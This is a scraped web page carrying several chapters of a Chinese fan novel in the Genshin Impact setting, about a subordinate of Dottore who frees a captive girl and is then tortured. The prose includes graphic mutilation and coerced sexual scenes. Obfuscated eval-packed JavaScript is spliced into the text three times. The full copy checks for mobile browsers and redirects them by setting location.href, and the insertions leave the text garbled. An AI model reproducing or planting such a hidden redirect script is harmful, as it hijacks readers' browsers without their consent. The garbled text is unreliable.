“你说过,我会活着的,对吗?” “……” “可是,我现在虽然确实活着回来了,却觉得还不如死了。” “……” 腰间的手臂收拢得更紧,我能感受到背后贴近的身体压抑的颤抖,和压抑的哭声。 “我好想家……我想母亲了……” 大脑一抽一抽地疼。 我听到自己开口。 “你……想出去吗?” …… 从柯莱处离开,我径直前往了赞迪克的办公处,连门都没敲,就推开了门。 里面的人吓了一跳。 “你你你!你怎么回事?进主人的办公室竟然连门都不敲!” 我无视了聒噪如同苍蝇的克洛伯,走进去关上门。 “喂!你到底有没有听人说话!你这个……” “Beta大人,我需要您的调令。” “混蛋!你当我是死人吗?对主人的态度尊敬一点啊,你这个目无尊上的家伙!” 我转头,露出一个笑容。 “你的母亲没教过你不要打断别人的对话吗?还有,在Beta大人面前三番五次发出聒噪声音的人是谁你心里没有点数吗?这么看来,到底谁才是真正目无尊上的那一个?” 克洛伯噎了一下。 我走到赞迪克面前,隔着一张桌子看他。 “大人,我不想在我们进行对话的时候,旁边有一个碍眼的家伙。” 克洛伯:“你说谁是碍眼的家伙?!” 赞迪克若有所思地看了我一眼。 “克洛伯,你离开。”他挥了挥手。 克洛伯:“主人?!” “看来塔德纳说得不错,你最近确实变得有些太碍眼了。”赞迪克的声线骤然变冷。等看到克洛伯颤抖着闭嘴的时候,他才继续:“我不想再说第二遍。” “是……” 讨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大脑瞬间清明,但我还是装成一副晕乎乎的样子。 “关押设施附近的守卫有一些发了病找我告假,如今设施里人多,巡逻压力也大,我想再安排一下分布。” “就这件事,光凭你自己,也能做到吧。”扶在后颈的手掌微微收紧,“你的权限足够大,几乎没有必须寻求调令的需要。塔德纳,不要妄图欺骗我。” “呜……我没有。我只是……” “只是什么?” “Alpha大人因为我的缘故被派往须弥了,我想给Alpha大人送一封信,但以自己的名义肯定会被主人发现……” “所以你就找到了我?”赞迪克气得笑了出来。 “Beta大人,拜托了,我真的很需要您的帮助。” 我贴过去亲赞迪克的嘴角,但却被一下子咬住,赞迪克警告性地在我的唇上咬了一下。 “我没有必要答应你这种幼稚的请求。”赞迪克的脸色不善。 “Beta大人……还是说,您更希望我也叫您‘主人’?主人……” “你……别以为你这样讨好我我就会什么都答应你。” 虽然说过绝对“不会答应”,但在我卖力的一个小时讨好后,赞迪克最终还是不情不愿地答应了我的要求,并承诺不会将这件事情告状给多托雷。 唯一的要求是,我必须在明天早上之前归还调令。 离开的时候,赞迪克撑着手臂,歪头看我。 “对了,54号实验体的情况怎么样了?” 我握上门把手的手掌微微一僵。 “已经安抚得差不多了,只是还需要一点时间平静。” “干得不错。既然如此,明天将她带过来吧。在你归还调令的时候。” “是。” 我走出房间,将门关上,略微整理了一下脸上的表情后,向右行走,不久之后,便到了大门处。 黄昏的余晖洒在半化的覆雪上,我仰头看向云彩稀少的天空。 至冬的天空,总是缺少一些什么东西,就像沙漠的天空一样。 但雨林不同。 须弥雨林的天空,总是格外美丽,特别是黄昏的晚霞,能烧红半边天空。 我学生时期的时候,很喜欢一个人找一处僻静的山坡,靠着石头看晚霞渐渐散去,月亮悄然升起。 距离计划实施倒计时—— 12小时。 63.第 63 章 我极少回忆过去。 五百年的岁月,经历的事,累积的记忆,如同巨石,而我,便是双肩抵着巨石,不让那巨石再往下滑落的支撑。 死亡的窃者被惩罚一遍又一遍将巨石推上山坡,尽管每一次都会滑落到底,但依然一遍又一遍。 只可惜,我的气力衰微,只能勉强支撑巨石不落下。再往上的,便无能为力了。 繁重的记忆会磨损自身。 这是不知道第几个百年的时候,我从一名长生生物那里得到的知识。 如同定理一般,就像太阳总从东边升起,风雪化去,即便是严寒的至冬,也会稍稍迎来短暂的春夏。 即使记忆变得如同多年闲置未经整理,以至于落满灰尘,结了蛛网,我依然偶尔回回忆起须弥,回忆起自己的父母。 尽管年轻的我或许并不觉得这一切在我的心中有如何的占比。 包括那被教成的一切,如今也依旧塑形着我的一切。 虽然关于那些,如今似乎都已抵不过多托雷加诸我身的影响。 我用赞迪克的调令遣散了设施的大部分工作人员,以“检修维护”的理由关停了设施的大部分设备。随后,在陷入了大半黑暗的设施内,犹行无人之道,我来到关押实验体的大区。 点开控制面板。 “是否确认解除所有门锁锁定状态?” “是。” 尖锐的“嘀”声响起,随着“门锁已开启”的提示音,我借着黑暗悄然退出去。 电子的提示音音量足够大,几乎在下一刻,里面传来实验体喧闹的声音。 第一步——释放所有的实验体,制造混乱。 “什么声音……你听到了吗?” “什么‘什么声音’,哪里有……等等,好像是关押的实验体那边……” …… “不好啦,实验体逃出来了!卫兵!” “快来人!关押设施出了故障,实验体全逃出来了!快去通知【博士】大人!” 不一会儿,实验体逃跑的声音,混杂着研究人员和士兵的喝止想起来,夹杂着搏斗的声音和尖细的哭喊。 第二步——前往中心控区用赞迪克的调令关闭所有的限行机关。 中心控区位于单人关押间的廊道内部,从各个方向的关押间往最中间看去,泛着红色光芒的房间便是中心控区的所在处,这里连通整个设施甚至实验室的电源总控,只对少数人开放进入权限。 可惜的是,因为我是被临时塞过来做事的,此前并不负责这片实验室分区的管理,所以并没有进入的权限。 这就是我不惜代价也要拿到调令的原因。 将赞迪克给的调令插入门口墙面的识别口里,我拧开门锁走进去。 在中心控区的最深处,是一座直达房顶,超过四米高的机械装饰,上面遍布着密密麻麻的线路,在插口的间隙,透明的面板折射出内部能源装置的红光。 令人心慌的红色。 我闭上双眼,斜倚在墙面上,等到外面响起轻轻的,略带着点慌张的脚步声,才睁开眼。 柯莱走进来,那双因为不安而闪烁的眼睛在看到我的一瞬间安定下来。 她松了口气:“找到你了……我听到外面很乱,好像发生了什么大事,那些人在门锁打开以后就跑出去了。我记得你对我说过的话,所以等他们走光了才来最中央发着红光的地方找你。” “呵呵。”我露出一点笑容,尽管我现在其实并不是很笑得出来。 “放心吧。”我说,“一切都安排好了,等一会儿你跟着我就行。” “谢谢你。” 就如同我所救过的每一个人一般,少女向我郑重地道谢。 我摆了摆手,心里却不可避免地浮现起一点疲倦,以至于懒得开口说话。 我走到中心泛着红光的机械装置,柯莱跟在我身后。 “我们什么时候离开?”初次经历这种事情的少女带着明显的惊惧问我,有些焦急。 “还请稍等。”我说。 随后,我从交缠得根本分不清的接口里分辨了一下,然后拉出其中的几根,用随身的匕首割断。 下一刻,散射了整间屋子的红光闪烁起来。 “警告——警告——装置受到破坏——装置受到破坏——” 柯莱慌张的声音传来。 “发生了什么?” “只是割断了几根无关紧要的线罢了。”我将匕首放回鞘中,然后才牵起柯莱的手。 少女的手很凉,手心带着汗。 我问:“很紧张?” 柯莱点头。 “不用紧张。”我说,“我会把你送出去,相信我。” 少女的手指回握住我,柔弱却坚定。 得到少女的回应,我牵着她用权限刷开了应急通道的门,然后顺着狭窄的通道,快步行走起来。 应急通道是用作紧急情况逃生用的,在未检测到危险之前,并不会开放权限。但同时,这里也是绝不会被搜查到的地方。 通道狭窄地只能勉强穿过一个成年人的大小,我将手里用作照明的灯交给柯莱,然后在前面拉着柯莱的手引路。一路上我们都沉默着,只有少女因为奔跑而显得急促的呼吸声格外明显。 大概十分钟之后,终于到了头。 我停下脚步。 身后的柯莱因为这突兀的停顿撞到我的后背差点摔倒,我伸手扶了一把。 “小心。” “……谢谢。” 我伸手将调令塞进门上吐出的识别口。 在一阵机械运转的声音中,厚重的铁门慢慢打开。 门外,是荒凉的雪地。 “……这里是……” “设施的背面。我把这附近巡逻的人调走了,两个小时之内不会有人经过这里。”我指了指远处一条不显眼的小径,延伸到设施背面的小山坡山,被铁墙阻拦。 “从这里上去,有一条小径,一直沿着这个方向走,有一个村庄,我安排了人接应你,他会将你送到挪德卡莱,从那里,你可以乘船去枫丹。” 柯莱:“但是,四周都有铁墙阻隔,要怎么才能出去?” “自然是,把墙炸开。”我说。 柯莱似乎没反应过来,呆呆地看着我:“啊?” 我从怀中拿出一枚小巧的发信器黏贴在调令的后壳上,等到发信器发出“嘀嘀”的声音,下一刻,背后的设施像是突然活了过来,巨大的,仿佛要将人耳膜都震碎的机械声响起。 连脚下的地面也似乎在震动。 “这是什么?!” 我听到柯莱的声音震惊地变了形。 这也实在不能怪她,毕竟换做另一个人,看到如今的这一幕恐怕连下巴都会惊掉—— 通体是银白色,犹如长方体的关押设施,此刻,在黑暗之中展现出了它真正的姿态。 那是一尊巨大的炮台。 粗长的炮管对准前面的铁墙。 “实验室的终极防卫装置,以整个关押设施为基底设计的武.器,是遭到入侵后的最后防卫手段,轻易不启用。” “你控制了它?这是……怎么做到的?” “只是破坏了终极防卫装置的控制线而已。”我晃了晃手中的调令,“现在惊讶可太早了。稍微蹲下来一点,要是等会被轰炸的余波震飞,可别怪我没提醒你。” 下一刻,我在调令的隐蔽按钮上按动一下,默数三个数后,抡圆了手臂将调令往前面扔过去。几乎就在下一秒,带着刺眼火光的炮弹朝着调令被扔出的方向狠狠发射出去。 一阵地动山摇之后,那处并不算大的山地被夷成一片平地,而厚重地足有一个成年人两肩之间宽度的铁墙被炸出了一个大洞。 身边的少女几乎忘记了呼吸。 我推了推少女的肩膀。 “还在犹豫什么?快跑吧。” 少女看向我:“那你呢?” 我笑出来:“怎么,你还希望我送你一截?”我做出一个为难的表情,“这恐怕有点困难,毕竟我可是大忙人,没有空闲的时间。” “……你明明知道我说的不是这个。” 少女咬牙,抓过我放在身边的手掌,从少女的那头,传来拉力。 “留在这里,你会死的吧,闹出这么大的动静,他们肯定会发现是你做的事情。”少女拉扯着我,“既然如此,你也跟着我一起跑吧,趁现在还来得及我们……” 我打断柯莱的话。 “不,来不及了。” “什么……” “走吧。”我从少女的掌心挣脱。 为了让少女下定决心,我只好押着少女的肩膀将她背过身朝着远处推,同时,我弯下腰,在少女的耳边飞速地说道。 “快走。你不用担心我,我自有脱身的方法。接应你 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“‘阻止’?”Omega重复了一遍我的用词,冷漠地道:“能在这么短的时间内遣走大部分的卫兵,然后破解出设施内部的装置……虽然那确实是一个足够简单劣质的加密装置,不过,以你的能力,确实还算一个惊喜的点。” “我对Beta的实验兴趣不大。换作我的话,我绝对不会只在这些实验体上做出这么无趣的实验。这些实验体,对我而言已经‘报废’了。” 柯莱颤抖的幅度更大。 我心下一沉。 “所以,您是想?” Omega走过来。 他走得很慢,每一步都沉沉地踩进雪地,将上面覆盖的,我的脚印盖住,然后狠狠下压。 他靠近我,单手放在我的肩上,微微弯腰。 “‘报废’的实验体,自然要回收销毁。另外,违规启用终极装置,违背了数条守则的你,似乎也没有再继续留存下去的必要了。” “!” 我感受到从Omega身上散发出来的,无边的杀气,犹如尖刀直直插向我。 身体感应到危机下意识地挣开Omega的手,但明明只是单只手,却犹如铁钳一般,纹丝不动,附带着千钧的力量,将我往下压去。 我感受到足以将肩膀撕碎的力量。直到此刻,脑海中才突然炸响他刚才的话。 Omega他…… 他是真的想杀了我! 不…… 至少……至少要…… 我咬着牙,半蹲的身体勉力支撑着才没让自己跪在地上,同时,我推开柯莱。 “快跑!”我提高声音斥声道。 少女被推得差点摔倒在地上,她踉跄两步,随即如梦初醒般震颤了两下。 我着急地再喊了一声“快跑”,拿到身影才似始缓过来,往前面跑着,摔倒了也不敢停下,手脚并用地往前爬。 “想跑?” Omega冷哼一声,压着我的身体往下猛地一用力,我能听到自己全身的骨骼发出碎裂的声音。 他的手中出现一柄元素力化成的尖刀,那是冰系邪眼的力量,随即,便要朝着柯莱的方向发射出去。 我从袖口落下早就准备好的邪眼,几乎是在那同一瞬间,火焰的力量腾空而起,裹挟住我和Omega二人。 冲天的火焰几乎要映红半边天空,我听见Omega的怒笑,下一刻,数根机械臂从四面八方袭来,困缚住我的双手双脚。 手中的邪眼被迫落在地上,一只脚踩上来,半截踩着邪眼,半截踩着我的掌背手骨,一下一下地用力碾动。 邪眼破碎的声音响起,同时响起的,还有指骨被一寸寸压碎的声音。 “啊——疼!” 我尖叫起来,想要挣扎却被Omega按着后颈面朝下压在了地上。 嘴里不可避免地尝到雪和泥土的味道。 Omega的声音很冰冷,带着明显的怒气。 我几乎从未见过他如此失态的样子。 他蹲下来,抓着我的头发往上扯,看着我身上正在渐渐愈合的烧伤,被刚才的火焰烧毁半边脸皮而显得狰狞恐怖。 他靠近我,鼻尖几乎凑到我的脸上。 “很好。”他笑起来。“我决定先把你‘报废’,塔德纳。” 64.第 64 章 从Omega身体里延伸出来的机械手臂分别压着我的双手双脚将我压在雪地上,衣服因为刚才的火焰早就被烧毁,若不是Omega反应及时,现在我和他恐怕都要□□。 即便如此,我和Omega身上其实都只留存了能遮住身体的布料而已,后背隔着单薄的衣料躺在雪地上,刺激的冰冷让我忍不住颤抖了一下。 “等……” 喉咙被Omega伸手压住,他掐着我的脖子,将我口中的声音完全掐断。 窒息感涌上来,加上手骨愈合产生的生长的疼痛,我疼得挣扎起来,却作用不大。 Omega半蹲在我的身前。 他俯视着我,那副尖喙的面具已不再,露出的是下面被火焰烧去的半边面容。那机械的独眼横贯在脸上,显得诡异。 “你是第一个伤到这副躯体的人。”Omega扭曲地笑起来,“不过可惜,这并不是什么荣誉。我和‘本体’不一样,对你,我的宽纵和怜悯都少得可怜。” “啊……” Omega拾起衣物烧毁后掉落在地上的我的匕首,将烧得发黑又在雪地里滚了一圈所以格外脏的鞘壳扔掉,锋利的刀尖抵在我的胸口,轻轻划过,皮肉上紧贴的衣服便被划开。 下一刻,匕首被用力地贯穿进去,无比顺畅地滑进肉里,鲜血唰地涌出来,喷到眼前人的身上。 如同打翻的颜料桶。 我疼得大脑空白,想要惨叫却没办法发出声音。 如同待宰的牲畜,被压在地上大张着四肢,看着白刃割开自己的肉。 疼…… 好疼…… 刀刃还在被往下送着,连肋骨也被切断了几根,虽然感受不到,但我能听到什么断开的声音。 Omega划开了足够大的空间,随即将匕首往左右两边的方向送去。 从我的房间,能看见握着匕首的手臂几乎要伸进身体里面。 “不……”我从缝隙间挤出一点声音。 Omega的手很稳,稳到我怀疑在Omega的眼中,我现在是否还算一个“活人”,还是说,无论我是否还活着,在他的眼里都与一具“尸体”别无二致呢? 我开始感到惊恐。 “你在感到恐惧吗,塔德纳?”Omega开口,“无法真正被‘杀死’的你,依靠这一点,将自己当作‘筹码’和‘代价’。我还以为,你早就做好了被这样对待的准备。肉.体被分割的感觉怎么样?我想很少有人能够意识清晰地感知这件事。你的精神强度比我预想的还要高一点。” 他俯下身靠近我。 那只剩下一半的面容看不出来什么情绪,更遑论表情,我只能从Omega的话语和动作里感受到压抑的怒火和疯狂。 器官被搅弄着。我感受到身体迅速陷入虚弱的状态,但体内的能量也在以最大的功率运转着。 Omega看着我。 他似乎还在等我的回答,只是现在的我虚弱地几乎说不出话来。 体内搅动的动作格外明显。 我甚至有些绝望了,这样的状态,甚至还不如干脆利落地死亡。 最起码后者不会让我一直承受着这样奇怪的体验。 Omega没有得到任何答案,似乎有点不满,连那点流露出来的疯意都稍稍回落。 “你似乎没有配合的意愿。既然这样,在彻底‘报废’之前,回答几个问题吧。” 他问我:“你的行为逻辑真是几百年都未曾变过。只不过这一次,你似乎格外激进。为了让一个实验体逃出去,你不惜动用违规使用终极装置的力量,搞出这么大的动静。明明有更隐蔽的方法,但你没有尝试……塔德纳,告诉我,你的其它目的是什么?” 其他……目的…… 我晕乎乎的,几乎分辨不出Omega的话语。 Omega似乎看出了这点,他松开我脖子上的桎梏,匕首插进柔软的腹部。 “啊——!”我惨叫起来。 Omega捏住我的下颌:“不要浪费我的耐心,塔德纳。” 我下意识地张嘴,声音早已经嘶哑地不成人样。 “目的……目的是……” 腹部的匕首搅动起来。 “啊——好疼……呜,我说,不要再用力了,求求您,不要再用力了……目的,是……Beta大人……” 匕首停下。 “Beta大人知道我想要救实验体,但是……但是那位大人还是将调令给了我,我猜测Beta大人应该会阻止我的计划,所以……所以拿到调令的第一刻,就去过一次中心控区,用权限,打乱了接入顺序,这样,Beta大人就会知道我要用终极装置……来……” 大脑的意识越来越昏沉,我几乎快要难以说出完整的句子。 但说到这里,Omega已经完全明白了我的计划。 “所以,你用这种方式让Beta知道你要动用终极装置的计划,涉及事务过大,就算是Beta也不敢保证能完全阻止你,所以,他只能将这件事告诉别人,也就是——‘本体’。” Omega切片:“你又知道我和‘本体’今天的商议,所以故意卡在这个时间点。因为你知道,无论是我,或是‘本体’,都对实验体兴趣不大。不管是选择第一时间制服你,还是被你拖住,你都可以给那个实验体逃脱争取到足够的时间。” “真是……”Omega感叹起来,他的声音停顿了一下,似乎思考了许久,才从脑海里找出合适的词。“愚蠢而胆大的计划,用自己来交换实验体脱出的希望吗,呵。” “我必须要对你改观了,塔德纳。你足够胆大,对自己也足够心狠。我现在开始好奇了,你的大脑,以及你的思维方式。” 昏沉之中,我感受到尖锐的匕首抵上额头的发际线的位置,悄然地往下陷下去半点。 脸上流下温热的液体,沾得湿乎乎地难受。 我听到Omega的声音。 “你身体里的力量足够神奇,即使割除体内的器官也能缓慢地恢复,实在是……足以超越神明的伟力。如此,或许,撬开你的大脑,也并不会对你的生命造成影响不是吗?” 我微弱地挣扎着。 刀尖进得越来越深的感觉十分明显,我甚至能感受到骨头被划开的令人牙酸的声音。 “等一下……还有,还有一个目的。” “哦?”匕首停下。“这倒是,出乎我的意料,说说吧,说不定我会考虑放过你。” 我几乎是在昏迷的边缘挤出自己的声音。 “第二个目的……目的是……。” 我用力地咬着舌尖,直到口腔里都是血腥味才稍微维持了意识清晰。 我对视上那只机械独眼,那只与Theta相同,却又完全不同的机械眼。 我扯了扯嘴角,露出一个丑陋的笑。 “您说错了一点,Omega大人。主人是不会管这件事的,所以,我的第二个目的……不,不如说是一开始的目的,就是您啊。” Omega愣了一下。 趁着这点间隙,我用力地起身,连手臂都被拽得脱臼。我几乎是砸在Omega脸上,鼻腔被压得出血,但我顾不上这个,咬开Omega的唇,藏在舌底的装置被灵活的舌尖搅动上来,我闯进去,将那一小点装置压在两人的舌面之间,用上力按动装置上的按钮,然后推着那装置往里面更深处去。 Omega拽着我的头发往后面拉扯,将我拉离。 他脸色很不好看,用手背擦干嘴角的银丝,眼神阴森到恨不得杀了我。 如果那奇特的机械独眼真的称得上是有“眼神”的话。 总之我感受到了对我的杀意。 “你在干什么?” 我露出一个笑容。 我不知道我为何还有力气牵动脸上的肌肉笑出来,也可能只是我的内心笑了一下,但其实脸上根本没笑。总之,这一切都没必要思考了。 我说:“之后再见吧,Omega大人。希望以您的机体强度不至于报废太久。” 下一刻,足以掀翻整个地面的爆炸炸起,就在咫尺的距离。 虽然我在爆炸的一瞬间就把脸埋在了地上,但爆炸的冲击还是让我倒飞出去,不知道摔了多远,总之过了好几秒的腾空才重重摔在地上。 耳朵被炸得到处都是血,我也瞬间陷入了昏迷。 虽然早就做好了要把自制的炸弹装置以Omega“做梦都不会想到的方式”送进他的体内引爆,但这个威力,着实还是超出了我的预料范围。 等到意识醒来的时候,我躺在雪地上,挣扎着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036941|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬起来。 胸口的开口还没完全愈合,我伸手扶着伤口合了合,没什么用。血都快流干了,爬的时候眼前一阵黑一阵白。 我几乎是完全靠着一口气爬到Omega身边。 Omega躺在地上。 他的身体表面几乎没有什么损伤——这完全超出我的预期,连这么强力的炸弹在体内爆炸也没能损伤到他的身体,我还以为至少会被炸成两截。 但Omega似乎失去了意识,那只机械独眼确确实实丧失了光亮,一动不动。 我想起地下室那次的Theta,也是如此,机械独眼失去了光亮,仿佛再也不会亮起。 我终于放心了,泄力地瘫在地上。 好疼……Omega下手也太狠了…… …… 柯莱顺利逃出了至冬。 等到我再次接到那个情报组织给我的密信时,上面详细说明了接到柯莱后行进的路线,按照时间推断,他们现在大概已经到了挪德卡莱的边缘了。 没有被抓住,那就说明我的计划算是实施成功了。 在那之后,我和Omega被过了很长时间才集结齐人手来调查轰炸的士兵发现,我被接回了多托雷的住所。至于Omega—— Omega音讯暂时全无。 作为最强大的切片,Omega自然不会被“放弃”,多托雷会尽全力修复他。 我不清楚被修复的Omega会对我怎么样,即使多托雷对这件事从头到尾都没有发表过任何意见,只是趁着伤未恢复完全就压着我在床上做了两回。 我疼得要命,碍于这次的伤格外重,就算有体内的能量也有几天不能动弹,只能被动地承受。 等Omega恢复,他说不定会更看不顺眼我。 一想到这个可能,我就恨不得马上搬离至冬,等到Omega离开至冬的时候再搬回来。 当然,这样的想法自然也只能在心里想一想作罢了。 我如今跟着多托雷,自然凡是要以多托雷为中心,他继续留在至冬的话,我当然也只能…… 床边落下一个身影。 “你想去枫丹吗?” “啊?” 我有些反应不过来,直到露在外面的脚踝被握住,我忍不住打了个颤。 “主人,别……腿疼。”我以为多托雷是还想来一次。 多托雷轻笑一声,修长的手指在踝关节上揉捏着,我感受到那一块皮肤在飞速地发热。 他没戴面具,我几乎不敢直视那双猩红色的双眼。 “你不是不想待在至冬吗?”他问我。 我感到被看穿的头皮发麻。 “主人……是要去枫丹做研究吗?” “收集一些材料而已。”多托雷说,“Omega切片被你玩儿坏了,但是我现在手头还差一点材料,需要专程去枫丹一趟。你如果不想待在至冬的话,我可以带你一起去。当然……” 他话锋一转:“你也可以选择待在Beta切片那里。他可是很想你的,找我问了好几次你的伤好了没有。” 我想起之前半昏迷的时候看到的赞迪克赶来恨不得杀了我的阴狠表情,冷汗狂冒。 想我…… 是想我死吗? 我这次不仅故意利用了赞迪克,就连他的调令,好生生落到我手里也被炸成灰了。 要是落到他手里……我已经能够想象会被折磨成什么样子了。 我撑着仍有些疼痛的身体,将自己放在多托雷的怀里,然后仰着头去亲多托雷的耳垂。 “主人……” 多托雷自然地伸手捏住我的后颈,在软肉上揉捏着,将我稍微提远一点。 “你还没有回答我。你想吗?” 后颈的手明明很冷,但揉捏的地方却在发热。 我恍惚之间觉得多托雷问的不是“想不想去枫丹”,而是问的其他。 比如—— 想不想要? 身体内也窜起一股热,烧得我全身无力。 我爬到多托雷身上,含糊地回答。 “想……” 主动地迎上多托雷的唇舌,感受到口腔里的掠夺,舒服得连思考都停止了。 脑海里甚至闪过“就算维持这样的状态一辈子也不错”的想法。 65.第 65 章 水的国度,枫丹。 一个与至冬迥乎不同的国家。 无论是这里的气候,还是国家的统治者。 枫丹的水之神,与其说是神明,倒不如说是明星,举止浮夸,将正义的审判,视作一场戏剧。 我曾有幸在欧庇克莱歌剧院见过这位神明,水之神高居在最高处的位置,以戏剧的语调宣判一场罪案的结果。 相比之下,那位最高审判官反而比起这位神明更符合一位“管理者”的身份。 威严,而富有声望。 我记得,那位审判官的名字是—— 那维莱特。 自约五百年前上任的最高审判官,没有神之眼却能使用元素力,按照愚人众的内部情报,那位或许是元素龙王的化身。 提瓦特大陆最初的生命,被七神分攫权柄的元素龙王,如今,正以共同管理者的身份在水之神的国度生存,实在是…… 不伦不类。 当然,若以我的身份,评价那些高贵的人,到底可能也显得“不伦不类”起来。硬是要说的话,如我这般在阴沟抵命生存的人,或许再过五百年也不可能与那样的人结识。 此刻,我正行走在枫丹利奥奈区最繁华的街上。 多托雷走在我的身边。 明明说着是为了收集修复切片的材料才大动干戈来一趟枫丹的男人此刻却无比悠闲。 行过我们身边的路人大多会因为多托雷奇怪的服饰多看他一眼,此处特指多托雷脸上的面具,但在多托雷轻轻偏过头去扫视了一眼之后,又会忙不迭地低下头快步走过。 一时间我和多托雷的组合显得无比引人注目。 我看了一眼身边到枫丹也没有打算换下他那套奇特装束的男人,忍不住扯过背后的帽子戴到头上。 身边传来轻笑。 “为什么要遮蔽面容?我在你身边让你感到很尴尬吗?” 扯着帽檐的手指一僵,我一时不知道还该不该戴上。 我悄悄瞥了一眼多托雷,确认他没有生气才还是把帽子戴上了。 “我不太习惯被这么多陌生人盯着。而且,我们的身份似乎不宜暴露吧,主人?” 多托雷无所谓地说:“暴不暴露都无所谓。就算是枫丹,也没有理由阻拦外国的普通游客,不是吗?” 我干笑两声,对多托雷“普通游客”的说法不置可否,心中明白大概是【仆人】大人动用了一些手段,才使得我们明面上的身份“合法”。 此行的目的地,是位于利奥奈区的一家服装定制店,虽然创立的年岁还不算长,但那家店的技术却属实不错。以前被推荐过这家店的定制服务,尝试过一次之后便发现那些评价果然所言非虚。 无论是设计还是做工,都是毫无疑问的精美之作。 自那次之后,我偶尔会来这里定制一些服装,算是给自己枯燥无味的生活增添一点调剂。 毕竟,身为愚人众第二席执行官【博士】的副官,因为上司不想参加宴会而不得不顶上的情况数不胜数。 枫丹的千织屋。老板据说是稻妻人,不过我来过的几趟,从未见过这位神秘的老板。 等到了门口,我推开门,顶上的铃被带动发出“叮叮”的响声。 我稍微侧身,等待多托雷进入后才松开门。 “欢迎光临千织屋,有什么需要的吗?” 略带着点冷淡的声音传来。 那是一位服饰更偏稻妻风格的女性,从发型和身上的服装设计都可以看得出来,此人拥有独特的时尚认知,且并不是热心友善的那类人。 没见过的面孔。 装扮时尚的少女抬头看了一眼多托雷:“高级定制还是购买服装成品?我不会在这里待太久,如果想要定制服装的话,最好快点决定然后告诉我。” 态度并不算特别礼貌。 我有些慌地上前:“抱歉,如果我没猜错的话,您就是千织屋的老板吧?要定制衣服的人是我,请找我就好。” 千织屋的老板眼神有些奇怪地看了我一眼。 “没错,我就是老板,叫我‘千织’就好。抱歉,我之前还以为你是这家伙的仆从。” 很干脆地道歉了,虽然不管怎么看都有点奇怪…… 背后传来很轻的一声笑。 我:“……” 我摘下帽子:“我需要定制一件礼服,至于制式,我之前在您的店内定制过几次衣服,按照以前的制式来就好了。” “我明白了。告诉我你的名字,我去找一下图纸。” “‘塔德纳’。请您找到署名‘塔德纳’的订单图纸就好。” 千织转身进去找图纸了,于是整个服装店前面便只剩下我和多托雷两个人。 我看见多托雷似乎正观察着店内陈列的服装,那件装陈在玻璃展柜或者外面衣架上的服饰,男女式的俱全,大多是如今在枫丹相当风靡的款式。 我还以为多托雷对定制服装有兴趣,好奇他看中了哪一套,稍微走近两步,结果发现他正在看的是一件女式长裙。 …… 多托雷终于疯掉了吗? 他似乎听到了我的脚步声,转过头眼神落到我的身上。 我忍不住起了一身鸡皮疙瘩。 好在千织的声音突然传出来。 “找到了。你看一眼是不是你的那份。”她抬头看见我们的方位,“那是新季的女式婚纱长裙,你们对那个感兴趣?” 女式……婚纱……长裙。 明明每个字都认识,但合在一起仿佛一尊巨锤一样,砸得我有些头晕眼花。 我一时找不到自己的声音,反而是背后的多托雷开了口。 “很不错的设计。”他说,刻意放得正常柔和的语调十分优雅。单听声音的话,恐怕任谁也想象不到眼前此人竟然会是穷凶极恶的愚人众执行官。 “我对这个稍微有点兴趣。如果想要定制一套的话,大概需要多久?” 千织:“你是要和爱人结婚用吗?” “‘爱人’?”多托雷笑了,“当然当然,如果他愿意的话,姑且也算是‘爱人’吧。” 肩膀上突然落下来一只手掌,在靠近脖颈的地方轻轻摩挲了一下。 我身体僵硬,几乎不敢去想多托雷话里的意思。 “什么叫‘姑且’。”千织皱了皱眉,“这种事情,当然要和自己的爱人商量好了再决定吧。而且,定制服装需要量体裁衣,如果你的爱人不在这里的话,就算是再厉害的设计师,也做不出来你想要的衣服。” “不用担心,他此刻就在此处。如果需要量裁尺寸的话,请便。” 多托雷压着我的肩膀,将我推至身前。 千织的眼神“唰”一下落到我的身上。 我大脑晕乎乎的,既感觉到难为情,又觉得荒谬,心里的声音一直在告诉我“快走”,“快离开这里”。 至少…… 至少不要在陌生人面前…… “主……先生,还请不要这样……我,我不用……” “塔德纳。”耳边的声音温柔,却十分强硬,“不要拒绝。我不希望你拒绝,这不在我今天对你的允许范围之内。” 我抿了抿唇。对“拒绝多托雷”的恐惧最终压过了心中的羞赧。 我沉默地看着多托雷定下决议。 “……在这里填下名字和收货地址,大概半个月后会送到。” 多托雷接过笔,在单子上落下一个飞扬的签名,笔画几乎要飞出纸外。 我看着那笔顺的轨迹,没认出来多托雷签的是什么,但至少可以确认不是他现用的任何一个名字。 “这样,可以了吗?” 千织拿起单子:“可以。只剩下定量尺寸,便结束了。” 我有点想快点回去,便赶在多托雷之前开口。 “不用了。之前的尺寸还在,用那个也行。” 却被千织堵了回来:“好几个月前量的尺寸,现在也不算精确了。这件衣服要改作男式也能穿的款式的话,必须要重新量一次。” 态度很坚定。 最终还是被压着进里面裁定尺寸了。 千织在前面为我引路,然后看了外面的多托雷一眼。 “你就在外面。里面是工作重地,无关人员禁止入内。” 多托雷没有坚持,很顺遂地同意了。 等到厚重得透不过一丝光的帷布被放下,我的心绪还乱得很,大脑连最基本的思考都断档了,只有多托雷那句“爱人”还在脑海中一遍又一遍地回荡。 “把手伸开。”千织如此说。 我下意识地照做,却被拉着袖管往里面拽去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 